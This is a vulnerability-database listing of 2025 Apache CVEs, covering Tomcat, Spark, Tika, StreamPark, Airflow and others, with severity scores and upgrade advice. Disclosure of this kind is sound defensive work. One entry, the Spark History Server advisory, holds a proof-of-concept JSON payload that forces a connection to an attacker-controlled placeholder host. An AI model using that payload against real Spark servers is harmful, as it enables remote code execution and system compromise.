Filtered by vendor Apache
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3116 CVE
| CVE | Vendors | Products | Updated | CVSS v2 | CVSS v3 |
|---|---|---|---|---|---|
| CVE-2025-55668 | 1 Apache | 1 Tomcat | 2026-06-17 | N/A | 6.5 MEDIUM |
| Session Fixation vulnerability in Apache Tomcat via rewrite valve. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.7, from 10.1.0-M1 through 10.1.41, from 9.0.0.M1 through 9.0.105. Older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.8, 10.1.42 or 9.0.106, which fix the issue. | |||||
| CVE-2025-55039 | 1 Apache | 1 Spark | 2026-06-17 | N/A | 6.5 MEDIUM |
| This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. | |||||
| CVE-2025-54988 | 1 Apache | 1 Tika | 2026-06-17 | N/A | 8.4 HIGH |
| Critical XXE in Apache Tika (tika-parser-pdf-module) in Apache Tika 1.13 through and including 3.2.1 on all platforms allows an attacker to carry out XML External Entity injection via a crafted XFA file inside of a PDF. An attacker may be able to read sensitive data or trigger malicious requests to internal resources or third-party servers. Note that the tika-parser-pdf-module is used as a dependency in several Tika packages including at least: tika-parsers-standard-modules, tika-parsers-standard-package, tika-app, tika-grpc and tika-server-standard. Users are recommended to upgrade to version 3.2.2, which fixes this issue. | |||||
| CVE-2025-54981 | 1 Apache | 1 Streampark | 2026-06-17 | N/A | 7.5 HIGH |
| Weak Encryption Algorithm in StreamPark, The use of an AES cipher in ECB mode and a weak random number generator for encrypting sensitive data, including JWT tokens, may have risked exposing sensitive authentication data This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue. | |||||
| CVE-2025-54947 | 1 Apache | 1 Streampark | 2026-06-17 | N/A | 9.8 CRITICAL |
| In Apache StreamPark versions 2.0.0 through 2.1.7, a security vulnerability involving a hard-coded encryption key exists. This vulnerability occurs because the system uses a fixed, immutable key for encryption instead of dynamically generating or securely configuring the key. Attackers may obtain this key through reverse engineering or code analysis, potentially decrypting sensitive data or forging encrypted information, leading to information disclosure or unauthorized system access. This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue. | |||||
| CVE-2025-54941 | 1 Apache | 1 Airflow | 2026-06-17 | N/A | 4.6 MEDIUM |
| An example dag `example_dag_decorator` had non-validated parameter that allowed the UI user to redirect the example to a malicious server and execute code on worker. This however required that the example dags are enabled in production (not default) or the example dag code copied to build your own similar dag. If you used the `example_dag_decorator` please review it and apply the changes implemented in Airflow 3.0.5 accordingly. | |||||
| CVE-2025-54920 | 1 Apache | 1 Spark | 2026-06-17 | N/A | 8.8 HIGH |
| This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system. | |||||
| CVE-2025-54831 | 1 Apache | 1 Airflow | 2026-06-17 | N/A | 6.5 MEDIUM |
| Apache Airflow 3 introduced a change to the handling of sensitive information in Connections. The intent was to restrict access to sensitive connection fields to Connection Editing Users, effectively applying a "write-only" model for sensitive values. In Airflow 3.0.3, this model was unintentionally violated: sensitive connection information could be viewed by users with READ permissions through both the API and the UI. This behavior also bypassed the `AIRFLOW__CORE__HIDE_SENSITIVE_VAR_CONN_FIELDS` configuration option. This issue does not affect Airflow 2.x, where exposing sensitive information to connection editors was the intended and documented behavior. Users of Airflow 3.0.3 are advised to upgrade Airflow to >=3.0.4. | |||||
| CVE-2025-54813 | 1 Apache | 1 Log4cxx | 2026-06-17 | N/A | 7.5 HIGH |
| Improper Output Neutralization for Logs vulnerability in Apache Log4cxx. When using JSONLayout, not all payload bytes are properly escaped. If an attacker-supplied message contains certain non-printable characters, these will be passed along in the message and written out as part of the JSON message. This may prevent applications that consume these logs from correctly interpreting the information within them. This issue affects Apache Log4cxx: before 1.5.0. Users are recommended to upgrade to version 1.5.0, which fixes the issue. | |||||
| CVE-2025-54812 | 1 Apache | 1 Log4cxx | 2026-06-17 | N/A | 5.4 MEDIUM |
| Improper Output Neutralization for Logs vulnerability in Apache Log4cxx. When using HTMLLayout, logger names are not properly escaped when writing out to the HTML file. If untrusted data is used to retrieve the name of a logger, an attacker could theoretically inject HTML or Javascript in order to hide information from logs or steal data from the user. In order to activate this, the following sequence must occur: * Log4cxx is configured to use HTMLLayout. * Logger name comes from an untrusted string * Logger with compromised name logs a message * User opens the generated HTML log file in their browser, leading to potential XSS Because logger names are generally constant strings, we assess the impact to users as LOW This issue affects Apache Log4cxx: before 1.5.0. Users are recommended to upgrade to version 1.5.0, which fixes the issue. | |||||
| CVE-2025-54656 | 1 Apache | 1 Struts Extras | 2026-06-17 | N/A | 6.5 MEDIUM |
| ** UNSUPPORTED WHEN ASSIGNED ** Improper Output Neutralization for Logs vulnerability in Apache Struts. This issue affects Apache Struts Extras: before 2. When using LookupDispatchAction, in some cases, Struts may print untrusted input to the logs without any filtering. Specially-crafted input may lead to log output where part of the message masquerades as a separate log line, confusing consumers of the logs (either human or automated). As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. | |||||
| CVE-2025-54550 | 1 Apache | 1 Airflow | 2026-06-17 | N/A | 8.1 HIGH |
| The example example_xcom that was included in airflow documentation implemented unsafe pattern of reading value from xcom in the way that could be exploited to allow UI user who had access to modify XComs to perform arbitrary execution of code on the worker. Since the UI users are already highly trusted, this is a Low severity vulnerability. It does not affect Airflow release - example_dags are not supposed to be enabled in production environment, however users following the example could replicate the bad pattern. Documentation of Airflow 3.2.0 contains version of the example with improved resiliance for that case. Users who followed that pattern are advised to adjust their implementations accordingly. | |||||
| CVE-2025-54539 | 1 Apache | 1 Activemq Nms Amqp | 2026-06-17 | N/A | 9.8 CRITICAL |
| A Deserialization of Untrusted Data vulnerability exists in the Apache ActiveMQ NMS AMQP Client. This issue affects all versions of Apache ActiveMQ NMS AMQP up to and including 2.3.0, when establishing connections to untrusted AMQP servers. Malicious servers could exploit unbounded deserialization logic present in the client to craft responses that may lead to arbitrary code execution on the client side. Although version 2.1.0 introduced a mechanism to restrict deserialization via allow/deny lists, the protection was found to be bypassable under certain conditions. In line with Microsoft’s deprecation of binary serialization in .NET 9, the project is evaluating the removal of .NET binary serialization support from the NMS API entirely in future releases. Mitigation and Recommendations: Users are strongly encouraged to upgrade to version 2.4.0 or later, which resolves the issue. Additionally, projects depending on NMS-AMQP should migrate away from .NET binary serialization as part of a long-term hardening strategy. | |||||
| CVE-2025-54472 | 1 Apache | 1 Brpc | 2026-06-17 | N/A | 7.5 HIGH |
| Unlimited memory allocation in redis protocol parser in Apache bRPC (all versions < 1.14.1) on all platforms allows attackers to crash the service via network. Root Cause: In the bRPC Redis protocol parser code, memory for arrays or strings of corresponding sizes is allocated based on the integers read from the network. If the integer read from the network is too large, it may cause a bad alloc error and lead to the program crashing. Attackers can exploit this feature by sending special data packets to the bRPC service to carry out a denial-of-service attack on it. The bRPC 1.14.0 version tried to fix this issue by limited the memory allocation size, however, the limitation checking code is not well implemented that may cause integer overflow and evade such limitation. So the 1.14.0 version is also vulnerable, although the integer range that affect version 1.14.0 is different from that affect version < 1.14.0. Affected scenarios: Using bRPC as a Redis server to provide network services to untrusted clients, or using bRPC as a Redis client to call untrusted Redis services. How to Fix: we provide two methods, you can choose one of them: 1. Upgrade bRPC to version 1.14.1. 2. Apply this patch ( https://github.com/apache/brpc/pull/3050 ) manually. No matter you choose which method, you should note that the patch limits the maximum length of memory allocated for each time in the bRPC Redis parser. The default limit is 64M. If some of you redis request or response have a size larger than 64M, you might encounter error after upgrade. For such case, you can modify the gflag redis_max_allocation_size to set a larger limit. | |||||
| CVE-2025-54466 | 1 Apache | 1 Ofbiz | 2026-06-17 | N/A | 9.8 CRITICAL |
| Improper Control of Generation of Code ('Code Injection') vulnerability leading to a possible RCE in Apache OFBiz scrum plugin. This issue affects Apache OFBiz: before 24.09.02 only when the scrum plugin is used. Even unauthenticated attackers can exploit this vulnerability. Users are recommended to upgrade to version 24.09.02, which fixes the issue. | |||||
| CVE-2025-54090 | 1 Apache | 1 Http Server | 2026-06-17 | N/A | 6.3 MEDIUM |
| A bug in Apache HTTP Server 2.4.64 results in all "RewriteCond expr ..." tests evaluating as "true". Users are recommended to upgrade to version 2.4.65, which fixes the issue. | |||||
| CVE-2025-54057 | 1 Apache | 1 Skywalking | 2026-06-17 | N/A | 6.1 MEDIUM |
| Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Apache SkyWalking. This issue affects Apache SkyWalking: <= 10.2.0. Users are recommended to upgrade to version 10.3.0, which fixes the issue. | |||||
| CVE-2025-53960 | 1 Apache | 1 Streampark | 2026-06-17 | N/A | 5.9 MEDIUM |
| When issuing JSON Web Tokens (JWT), Apache StreamPark directly uses the user's password as the HMAC signing key (e.g., with the HS256 algorithm). An attacker can exploit this vulnerability to perform offline brute-force attacks on the user's password using a captured JWT, or to arbitrarily forge identity tokens for the user if the password is already known, ultimately leading to complete account takeover. This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue. | |||||
| CVE-2025-53689 | 1 Apache | 1 Jackrabbit | 2026-06-17 | N/A | 8.8 HIGH |
| Blind XXE Vulnerabilities in jackrabbit-spi-commons and jackrabbit-core in Apache Jackrabbit < 2.23.2 due to usage of an unsecured document build to load privileges. Users are recommended to upgrade to versions 2.20.17 (Java 8), 2.22.1 (Java 11) or 2.23.2 (Java 11, beta versions), which fix this issue. Earlier versions (up to 2.20.16) are not supported anymore, thus users should update to the respective supported version. | |||||
| CVE-2025-53606 | 1 Apache | 1 Seata | 2026-06-17 | N/A | 9.8 CRITICAL |
| Deserialization of Untrusted Data vulnerability in Apache Seata (incubating). This issue affects Apache Seata (incubating): 2.4.0. Users are recommended to upgrade to version 2.5.0, which fixes the issue. | |||||